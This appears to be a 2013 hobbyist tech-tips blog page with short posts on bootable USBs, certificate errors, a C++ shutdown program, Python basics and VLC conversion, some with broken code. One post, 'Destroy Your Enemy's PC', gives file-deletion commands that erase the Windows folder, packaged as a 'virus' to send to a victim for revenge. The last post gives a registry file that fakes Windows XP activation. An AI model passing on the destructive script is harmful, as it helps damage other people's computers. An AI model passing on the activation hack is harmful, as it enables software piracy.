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Friday 13 September 2013

Easily Make Bootable USB


If you want to install windows xp on your pc and you feel that your CD drive is not working properly or you have no any optical drive to install windows, than you can prepare a bootable USB device for installation of windows XP, vista or 7.
It is very easy and simple to make a boot able usb. Normally all notebooks have the option in the BIOS to boot from USB. Many other mother boards like intel 865, 915, 965 etc has also option to boot from USB device. So it is very simple and easy way to install XP on your computer.
. To make a bootable usb, first of all you will install a software "wintoflash". you can easily download this software from the web. The size of this software is approximately 17MB.
Install it on your computer and then start this program. It will show two different paths. In first browse option you will select windows XP disk and in second browse option, select your Pen drive/USB. Click next to proceed. It will copy all files of windows xp from CD to USB. Now click finish. It is complete.
Now you can use this USB for installation of windows. Enjoy.
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Server Security Certificate Problem


Some time you install fresh Operating system in your computer and then you install Browser, google chrome. After installation you try to open gmail, yahoo, or facebook in google chrome but you do not see your required page and see a message “Server Security Certificate is not yet valid”. Then you also try to open the page by clicking on “continue anyway” but the result is same.
Infect this problem occurs due to incorrect date and time of your computer. By synchronizing your system clock you can solve this problem. I will tell you the best solution of this problem. Just follow these steps and after completion you will be able to login to facebook, yahoo, gmail etc.
1 Click on Start Menu and then control penal.
2 Open Date/Time setting
3 Adjust correct date and time according to your region.
4Open "Internet Time Zone" tab.
5 Click on "Update Now" button. After clicking on button, It will start synchronzing your internet server timing.
After 7-8 seconds you will see a message, "The time has been successfully synchronized with time.windows.com on 07-07-2013 at 5:09PM.
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C++ program to shutdown windows7 :


#include
#include >
. main ()
{
char ch ;
printf ("Do you want to shutdown your computer now (y/n) \n ") ;
scanf ( "%c" ,& ch ) ;
if ( ch == 'y' || ch == 'Y' )
system ( "C: \\ WINDOWS\\ System32 \\ shutdown /s" ) ;
return 0 ;
}

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Sunday 8 September 2013

First step to become a programmer: Learn the Basics

Today, I'm going to explain explain to you some basics about programming.
I will show you three basic components of programming.

1) Programming Code
2) Algorithm
3) Pseudo Code
1) Programming code:

It is the main part of a software or programme. It tells the computer what to accept as input, how to process it and when and what to display as the output.
I will show you an example of a simple programming code using Python. If you plan on becomign a good programmer, then I would recommend using Python as your first compiler as it is easier to use for beginners.

Download Python :
After installing open the GUI version of it and enter the code below. (It's not neccessary to download Python , If you can understand the code without it)

Programming code:

# This program can be used to input two numbers and get the sum of those two as output.

a = input("Enter the first number" )
b = input("Enter the second number" )
c = a+b print "The sum of the two numbers is", c

Expressions used :


A = input : This tells the program to accept and save first input as A
B = input : This tells the program to accept and save first input as B
C = a+b : This tells the program to add the values saved in A and B
print "The sum of the two numbers is", c : This tell the program to show the output or display the value of C.
(".......") : The messages inside these boxes are instructions to the users.

Now those who already installed Python can save this as " name.py" and run it!

Example of how it will work:

Enter the first number 1 (I input 1 and pressed Enter)
Enter the second number 3 (I input 3 and press Enter)
4 (This is the output or result)

2)Algorithms:

Algorithms are written in proper English. No programming language is used to write Algorithms.
The Algorithm for the above coding is :

0.Start
1.Make the user enter the first number and save it as A
2.Make the user enter the second number and save it as B
3.Save the sum of A and B as C
4.Display the value of C
5.End

3)Pseudo Code:

Pseudo Code is the documentation for the programmer. It is a mix of different types of symbols used to convey a message.
The Pseudo Code for the above coding is:

0.Start
1.Accept A
2.Accept B
3.C=A+B
4.Display C
5.Stop
Thank you for reading and share this..!

Thursday 5 September 2013

Convert video with VLC Player


Convert your video using VLC media player instead of using many converter . its too easy just follw below steps and catch your video format..:)

For Windows



1> Click Media >> Convert/Save. .
2> Select the file you want to convert using Add
. Now click on Convert/Save button and next window will appear.
3> Now click on browse and select where you want to save theconverted file. Down under you can see a drop down menu from which you can select the output format. Hit the Start button, sit back and relax.

For Mac:



1> Click File -> Streaming/Exporting Wizard and check Transcode/save to a file and hit Next.
2> Click choose and select the fileyou want to convert and hit Next again. Check Transcode video andaudio boxes and select the outputformats for you video, after hit Next twice.
3> Select the location where you want to save the output using Choose button, hit Next and later Finish.

Destroy Your Enemy's PC...!!!

Open your notepad and type the following………


del c:\boot?ini c:\del autoexec.bat

Now Save as anyname.exe. Create this in C: drive

The only thing you need is Notepad.

1. Create a text file called TEST.txt(empty) in C:\
2. Now in your notepad type “erase C:\TEST.txt” (without the quotes). Then save it as “Test.cmd”.
3. Now run the file “Test.cmd”go to C:\ and you’ll see your Test.txt is gone.
Now, the real work (don't try this on your personal computer)
1. Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd.
2. Now DON’T Run the file or you’ll lose your WINDOWS map.
So, that’s the Virus. In this way you can make a virus to delete any file you want.
Now to take revenge. Send you file to your victim. Once victim opens it. WINDOWS map is Deleted. And he will have to install WINDOWS again.
Beware: Its simple but a strong virus that can delete anyones Windows OS …

Note: I am not Taking any Responsibilties if by this you damage your windows.

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Make your WINDOWS XP Genuine Without any Software


OPEN NOTEPAD AND WRITE THIS:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]
"OOBETimer"=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd
"LastWPAEventLogged"=hex:d5,07,05,00,06,00,07,00,0f,00,38,00,24,00,fd,02
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
"CurrentBuild"="1.511.1 () (Obsolete data - do not use)"
"InstallDate"=dword:427cdd95
"ProductId"="69831-640-1780577-45389"
"DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,38,33,31,2d,36,34,30,2d,\
31,37,38,30,35,37,37,2d,34,35,33,38,39,00,5a,00,00,00,41,32,32,2d,30,30,30,\
30,31,00,00,00,00,00,00,00,00,0d,04,89,b2,15,1b,c4,ee,62,4f,e6,64,6f,01,00,\
00,00,00,00,27,ed,85,43,a2,20,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,31,34,35,30,34,00,00,00,00,00,00,00,ce,0e,\
00,00,12,42,15,a0,00,08,00,00,87,01,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,94,a2,b3,ac
"LicenseInfo"=hex:9e,bf,09,d0,3a,76,a5,27,bb,f2,da,88,58,ce,58,e9,05,6b,0b,82,\
c3,74,ab,42,0d,fb,ee,c3,ea,57,d0,9d,67,a5,3d,6e,42,0d,60,c0,1a,70,24,46,16,\
0a,0a,ce,0d,b8,27,4a,46,53,f3,17


NOW SAVE AS WINDOWS.REG AS FILE NAME OPEN THAT,,AND I GUARANTEE U THAT UR ALL VALIDATION HAVE BEEN FIXED WITHIN A SECOND,,NOW U HAVE GENUINE WINDOWS